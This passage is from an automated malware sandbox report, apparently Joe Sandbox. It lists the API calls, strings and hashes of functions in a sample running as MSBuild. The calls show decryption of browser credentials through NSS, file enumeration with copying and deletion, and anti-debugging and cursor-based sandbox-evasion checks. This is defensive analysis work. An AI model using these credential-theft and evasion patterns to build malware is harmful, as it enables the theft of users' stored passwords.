PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBC1C6F,00000000,00000004,?,?), ref: 6CC16C3F

Part of subcall function 6CC6C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC6C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CBC1C6F,00000000,00000004,?,?), ref: 6CC16C60
PR_ExplodeTime.NSS3(00000000,6CBC1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CBC1C6F,00000000,00000004,?,?), ref: 6CC16C94

Strings

gfff, xrefs: 6CC16D9C
gfff, xrefs: 6CC16CF5
gfff, xrefs: 6CC16D30
gfff, xrefs: 6CC16CFD
gfff, xrefs: 6CC16D66

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 404d3a6a8462690a8769b0bd5e41acb8a7ff690102ec4986d929129a4468163a
Instruction ID: 5d490958d05fb01f147aa274a97d225e4c756a9cf7ef1573362d47149650f00f
Opcode Fuzzy Hash: 404d3a6a8462690a8769b0bd5e41acb8a7ff690102ec4986d929129a4468163a
Instruction Fuzzy Hash: 69513D72B015494FC718CDAEDC626DAB7DAEBA4310F48C23AE841DBB85E638D906C751

Function 0040A7D8 Relevance: 15.1, APIs: 10, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A815
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
_memmove.LIBCMT ref: 0040A8BB
lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC
lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalString_memmove_memsetlstrlen
String ID:
API String ID: 4058207798-0
Opcode ID: c6ed9109bfacb0fd5d4fff44d0ee5b72c7cf1cfa32c50ebbec82d2efede3bd7c
Instruction ID: f26f4882e420fc4ccc248d85663e2acbd3fb2a907a3a765cf6f23a4b2ab14579
Opcode Fuzzy Hash: c6ed9109bfacb0fd5d4fff44d0ee5b72c7cf1cfa32c50ebbec82d2efede3bd7c
Instruction Fuzzy Hash: DF316DB2D0421AAFDB10DF54DD849FAB7BCAF08345F5040BAF409E2240E7794E858F66

Function 0040B93F Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,00436826,?,?,?), ref: 0040B99B
StrCmpCA.SHLWAPI(?,0043743C), ref: 0040B9BC
StrCmpCA.SHLWAPI(?,00437440), ref: 0040B9D6

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040BE0B

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040BE82

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 0040BEF1
FindClose.KERNEL32(?), ref: 0040BF05

Strings

\*.*, xrefs: 0040B965

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcat$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2055012574-1173974218
Opcode ID: 942fd7e65550acf21277a91a5ee52214ae783f4726b1089d71da767fd9f56367
Instruction ID: 53a79bfc0dab0fc6023200b4e1e1ec652a5b9d3d115480c62788c8db81696fe3
Opcode Fuzzy Hash: 942fd7e65550acf21277a91a5ee52214ae783f4726b1089d71da767fd9f56367
Instruction Fuzzy Hash: 41E1DA7194012D9BCF21FB26DD4AACDB375AF44309F4100E6A508B71A1DB79AFC98F98

Function 6CB5AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CC7CF46,?,6CB4CDBD,?,6CC7BF31,?,?,?,?,?,?,?), ref: 6CB5B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CC7CF46,?,6CB4CDBD,?,6CC7BF31), ref: 6CB5B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CC7CF46,?,6CB4CDBD,?,6CC7BF31), ref: 6CB5B0A2
CloseHandle.KERNEL32(?,?,6CC7CF46,?,6CB4CDBD,?,6CC7BF31,?,?,?,?,?,?,?,?,?), ref: 6CB5B100
sqlite3_free.NSS3(?,?,00000002,?,6CC7CF46,?,6CB4CDBD,?,6CC7BF31,?,?,?,?,?,?,?), ref: 6CB5B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CC7CF46,?,6CB4CDBD,?,6CC7BF31), ref: 6CB5B12D

Part of subcall function 6CB49EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB5C6FD,?,?,?,?,6CBAF965,00000000), ref: 6CB49F0E
Part of subcall function 6CB49EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBAF965,00000000), ref: 6CB49F5D

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 47a7f96015ffc25d891240f8c4b8af036e35c4b432a0fcedddd2fe5602e70653
Instruction ID: 00c8a8b0d610625c0c9c751c566f784ed39a325e5bb0dd942028bd1830da9269
Opcode Fuzzy Hash: 47a7f96015ffc25d891240f8c4b8af036e35c4b432a0fcedddd2fe5602e70653
Instruction Fuzzy Hash: 4A9101B0A043458FEB04CF24C985A7BB7B5FF45308F58462DE516A7A50EB35E8A4CF62

Function 6CCD8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD214E4,6CC8CC70), ref: 6CCD8D47
PR_GetCurrentThread.NSS3 ref: 6CCD8D98

Part of subcall function 6CBB0F00: PR_GetPageSize.NSS3(6CBB0936,FFFFE8AE,?,6CB416B7,00000000,?,6CBB0936,00000000,?,6CB4204A), ref: 6CBB0F1B
Part of subcall function 6CBB0F00: PR_NewLogModule.NSS3(clock,6CBB0936,FFFFE8AE,?,6CB416B7,00000000,?,6CBB0936,00000000,?,6CB4204A), ref: 6CBB0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CCD8E7B
htons.WSOCK32(?), ref: 6CCD8EDB
PR_GetCurrentThread.NSS3 ref: 6CCD8F99
PR_GetCurrentThread.NSS3 ref: 6CCD910A

Strings

%u.%u.%u.%u, xrefs: 6CCD8E74

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: fa40376b5c96ff6002dad9948d09dbe547246a98909b95f1ac040ff681ed748f
Instruction ID: 178d0a900d90d528725de4da88fcda34108f10d0ac46ad4470e50718651d3ff1
Opcode Fuzzy Hash: fa40376b5c96ff6002dad9948d09dbe547246a98909b95f1ac040ff681ed748f
Instruction Fuzzy Hash: 7602DB359052518FDB18CF19C46876ABBB3EF42308F1B825ECA958FA91E731F909C790

Function 6CAF2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAF2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAF2C61

Part of subcall function 6CAA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAA4E5A
Part of subcall function 6CAA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAA4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAF2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CAF2E2D

Part of subcall function 6CAB81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAB81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CAF2E3B
(root), xrefs: 6CAF354F
expected a Time entry, xrefs: 6CAF2E36

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 0288d22340d6274a302b72d67dce0a8f8ac7d717daf5e22650355470f5c3b7e1
Instruction ID: 3a6014ed7f4c6d8063364be882e3f05b2c9cad23b0cdfa4ad6d4c83c8bf0e1dc
Opcode Fuzzy Hash: 0288d22340d6274a302b72d67dce0a8f8ac7d717daf5e22650355470f5c3b7e1
Instruction Fuzzy Hash: 6891BF706087808FC724DF24C4946AFB7E5AF89358F544A1DF9AA8B750DB30D98ACB52

Function 0040180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401823
SetThreadDesktop.USER32(00000000), ref: 0040182A
GetCursorPos.USER32(?), ref: 0040183A
Sleep.KERNEL32(000003E8), ref: 0040184A
GetCursorPos.USER32(?), ref: 00401859
Sleep.KERNEL32(00002710), ref: 0040186B
Sleep.KERNEL32(000003E8), ref: 00401870
GetCursorPos.USER32(?), ref: 0040187F

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction ID: 6ce610161f310883e20b46de56f80fe1d7998de54b5bc585690095a2dc5f2f67
Opcode Fuzzy Hash: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction Fuzzy Hash: C9112E32E00209EBEB10EBA4CD89AAF77B9AF44301F644877D501B21A0D7789B41CB58

Function 0042B1EC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0042B855,?,00428606,?,000000BC,?), ref: 0042B22B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0042B855,?,00428606,?,000000BC,?), ref: 0042B254
GetACP.KERNEL32(?,?,0042B855,?,00428606,?,000000BC,?), ref: 0042B268

Strings

ACP, xrefs: 0042B1FB
OCP, xrefs: 0042B20C

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: dabdef429acf28403b0f87105750c87aa7dd444468e3f7da184b66417ca4622f
Instruction ID: 1d8a24c55ad27a2629b7a766668cf871eddc3622aa3f9d7e0ae662acd3c2ea88
Opcode Fuzzy Hash: dabdef429acf28403b0f87105750c87aa7dd444468e3f7da184b66417ca4622f
Instruction Fuzzy Hash: F101D831701716FAEB219B51FC4AF5F73A8DB45368F60009AF001E0581D778DA4192AD

Function 00408048 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Strings

$g@, xrefs: 00408056

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: $g@
API String ID: 4291131564-2623900638
Opcode ID: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction ID: e9494377cad346e2cb6e0c3413faafdb083af89deffb74abb579b147fff80950
Opcode Fuzzy Hash: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction Fuzzy Hash: 7EF03C70101334BBDF315F26DC4CE8B7FA9EF06BA1F100456F949E6250E7724A40DAA1

Function 0041D12A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041D562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041D577
UnhandledExceptionFilter.KERNEL32(0043332C), ref: 0041D582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041D59E
TerminateProcess.KERNEL32(00000000), ref: 0041D5A5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 81b757bedadb6aa414f3cbb5558a59dfea264c2a9b68c96a8667cab582a7df29
Instruction ID: 4bba9ff048c9058af47a45dce311be71d9a10e9393078c90d81800ef8cb4dbee
Opcode Fuzzy Hash: 81b757bedadb6aa414f3cbb5558a59dfea264c2a9b68c96a8667cab582a7df29
Instruction Fuzzy Hash: B621CDB4C01701DFD724DFA4F949A443BB4BF08316F10916AF41887262E7B4D9818F5E

Function 6CCDCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCDD086
PR_Malloc.NSS3(00000001), ref: 6CCDD0B9
PR_Free.NSS3(?), ref: 6CCDD138

Strings

>, xrefs: 6CCDCF5B

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 750b0e3776b60d956f55c99fe6810bea93cc720c6fa5b103e2179ae69993d013
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 12D15A62F415460BEB24487D8CA13EAB793D782374F5A0329D322CBBE5F619E847C721

Function 6CB1545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB18A4B

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6b6f09bcd1efe559a6410b0500734edda6374d8dce94ddbeef0383b694e8b7de
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: BFB1E972E0425ACFDB24CF68CC907A9B7B2EF85314F1502A9C549DBB91D7309989CB91

Function 6CB1542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB1925C

Memory Dump Source

